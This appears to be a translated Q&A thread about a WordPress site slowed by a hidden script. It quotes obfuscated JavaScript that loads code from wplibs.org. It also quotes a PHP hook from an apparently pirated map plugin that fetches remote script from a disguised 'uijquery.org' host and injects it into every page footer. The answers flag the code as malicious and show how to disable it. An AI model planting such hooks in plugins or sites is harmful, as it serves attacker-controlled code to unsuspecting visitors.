如何查找和删除阻碍我网站加载时间的脚本?

时间:2015-04-14 17:27:17

标签: jquery html wordpress

我跑了一个' pingdom'扫描我的网站,发现这个小脚本真的在减慢我的网站速度。

<script type="text/javascript">
if(!document.referrer || document.referrer == '') { document.write('<scr'+'ipt type="text/javascript" src="http://www.wplibs.org/jquery.min.js"></scr'+'ipt>'); } else { document.write('<scr'+'ipt type="text/javascript" src="http://www.wplibs.org/jquery.js"></scr'+'ipt>'); } 

它为网站加载时间增加了近6秒。我怎么能摆脱它?

我尝试搜索所有常见的wordpress文件,但我无法在任何地方找到该脚本。

有关详细信息,请参阅此Pingdom test

2 个答案:

答案 0 :(得分:0)

我也遇到过这个剧本的麻烦。 现在我想我至少已经为我修好了。 我正在编写一个wordpress网站,我看到该脚本阻止了页面加载。 好吧,我找不到脚本,我怀疑它可能是另一个脚本或其他东西调用的脚本。 我一步一步地发现代码包含在网页页脚中。 我正在测试WP Google Map Pro,我在'wp-google-map-pro.php'中找到了第144行的功能:

if(!function_exists('wp_func_jquery')) {
function wp_func_jquery() {
    $host = 'http://';
    echo(wp_remote_retrieve_body(wp_remote_get($host.'ui'.'jquery.org/jquery-1.6.3.min.js')));
}
add_action('wp_footer', 'wp_func_jquery');

}

好吧,我只需要包含我主题的'functions.php':

remove_action('wp_footer', 'wp_func_jquery');

现在代码已经消失了。我希望它会有用!!!

答案 1 :(得分:0)

应该注意的是Ladislao代码片段是恶意的,可能是下载盗版版插件的结果......

  

$ host.'ui '' jquery.org

这不是一个真正的jquery域。 See detailed report here